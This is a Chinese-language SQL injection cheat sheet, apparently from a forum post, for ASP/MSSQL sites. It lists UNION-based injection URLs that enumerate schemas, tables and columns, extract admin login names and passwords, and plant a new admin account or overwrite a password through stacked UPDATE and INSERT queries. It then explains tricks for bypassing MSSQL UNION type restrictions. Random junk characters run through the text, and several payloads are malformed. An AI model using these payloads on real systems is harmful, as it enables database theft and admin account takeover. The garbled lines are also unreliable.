爆库:
( }0 ~8 x6 Z+ B& }- ghttp://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.--2 ]7 `" j2 t5 a* X: T
SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.
: P* Q! S- z k; K爆下一个库:3 V [2 ]5 ?' f4 [8 h1 X
http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE TABLE_NAME NOT IN ('库名')--
% t& B7 j* X# j$ A r2 e& g& ?" p5 E2 Z9 o) r
爆表:( y8 s* S. G- M' Q4 g
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--5 Y; J3 O* D4 Z( R9 Y: Z" b
$ O- ]% |& x1 D8 ASELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES.% }7 G' ~' Q9 V: z2 r% j
5 c K0 d8 A0 T4 ~% p
爆下一个表
) J% l5 J4 y [+ Q3 Jhttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--
) g$ w5 _8 k6 |4 P& ~
0 ^+ {) b: e# \+ B* n, ], K1 ^http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%login%'--
9 \% p- x. y5 D6 r. ^0 p' U1 |$ b2 N3 A; `/ R' a& c
' T' P) q. Q" h( ^
. |. h1 y- q- Y5 x" R0 J爆字段:5 @9 D3 p$ z$ l- D6 a% M% W
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--
; t2 R& g& {' H9 j
1 I+ E' h M' i$ l2 w爆下一个字段5 U4 F. D/ i' d Z, o3 G% L1 D
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--5 N. d$ z* Q1 c- G# |# _3 k
- @6 @9 e7 ^2 R7 l! y: h% L
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--
2 f, `+ _/ y. z/ F" \: D
. `/ H- `/ ?" F0 a# j5 Q, ^5 u) w+ G! \; B1 I1 n5 t5 `' p4 D5 |7 |
爆字段里的内容5 v3 W' N& D2 C6 R9 D1 @
http://duck/index.asp.id=10 UNION SELECT TOP 1 login_name FROM admin_login--5 R3 y" k( V- j& H) T
- L- Y# y6 K0 }http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--
8 p( J1 _7 B- F$ F2 s5 ?
9 O+ N4 v. P9 ? T9 hhttp://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--) ^2 y" u' F C) U; R5 ]$ M( A
. |$ {$ a% J/ j1 D( g* [) i( Whttp://duck/index.asp.id=10 UNION SELECT TOP 1 convert(int,password.morpheus.) FROM admin_login where login_name='trinity'--3 z; E% H2 R; B1 I. e
) m4 D( O/ [( o- c) |3 `更新字段里的内容) i. C4 G4 F* Q& l! B! R9 m1 v
http://duck/index.asp.id=10; UPDATE .admin_login. SET .password. = .newpas5. WHERE login_name='neo'--
5 F+ z8 ?% v% |8 d; C/ M( n$ |# C: U9 ?* x4 x6 ]
http://duck/index.asp.id=10; INSERT INTO .admin_login. (.login_id.,.login_name.,.password.,.details.) VALUES (666,.neo2.,.newpas5.,.NA.)--$ m- r) p$ M$ t/ y: @
- ?1 C. H- {# {# K8 k+ d& @) B6 S2 U% h. p' x! X. Q4 y n
1 i1 S; N, X( S/ @9 l
在注射的时候,access和mysql环境下,我们通常是通过union来获取数据的。但是遇到mssql环境,union很多时候都行不通,如果页面不报错,openrowset不可用,往往时候就只有暴力了。这样多不好,大家都是文明人,怎么可以用这么野蛮的手段呢?研究了一下,mssql中的union选择主要有以下几个方面的限制。
# \" W* O# u4 j0 y8 ] 第一个是varchar/nvarchar和int类型的字段union到一起会强制转换出错。这个可以去看superhei大牛N久以前的文章,用and 1=2 把union前面的结果集置空就可以解决了。3 l* G) l9 r1 `: [' G" Y
第二个是当前面语句选择的字段有text、ntext 或者image格式的时候,不能用DISTINCT 方式来选择,而带union的语句必然是以DISTINCT 方式来选择的。这也是为什么很多搜索型的注射点可以用union猜解的原因,因为搜索点的语句很少会选到前面三种格式的字段。Image是二进制格式,一般不会出现在需要回显的sql语句中。这种限制前段时间也看到牛淫给出了解决方法,union后面跟一个all,即union all就搞定了。真是神奇啊,牛淫就是牛淫。1 x8 A$ y; y0 y( m; a) m
最后还有一个限制是text/ntext 与 int类型的字段 union到一起时并不兼容,会报操作数类型冲突的错误,就算用1=2把union前面语句的结果置空也一样。前几天突然想到,union的时候我们经常用1,2,3……之类的常数来补齐相差的列数。这时候后面的语句选择的都是int类型的字段,遇到前面有text/ntext的字段当然会出错,如果加上引号呢,即'1’,'2’,'3’……的形式?这时候后面的字段都是char或者varchar的类型了,应该就不会出错了。如果注射点过滤了引号怎么办?因为mssql对16进制格式的支持不是太好,很多地方用16进制必须declare――set,那就用char吧,即and 1=2 union all select char(49),char(50)……的形式。
- Z4 G5 }9 M8 x" p1 o+ m8 B. q6 g; a! u
突了了大部份限制的语句
4 L; `7 W2 p1 z& Land 1=2 union all select char(49),char(50),null,null;--
3 ]# m3 H2 w: P* Z
5 l" m+ c4 }7 @. p6 C% s1 P* y$ o$ x+ r% E; \; x
null也可以正常执行,不过没有回显,不好判断回显的列数。 V4 ^! W2 C; N1 x
一般union遇到问题都是有text或者ntext字段,image的很少遇到
( X4 G8 Z" s7 U N1 v$ d, ^9 D, J% u3 S+ B
可以先null完之后再一个个用1,2,3,4代替,这样就能逼出image类型的列鸟3 c1 J1 k5 M" V; V" R4 B7 |
9 `4 d1 _" l( k' F! i. p! i5 n% N* u+ c
|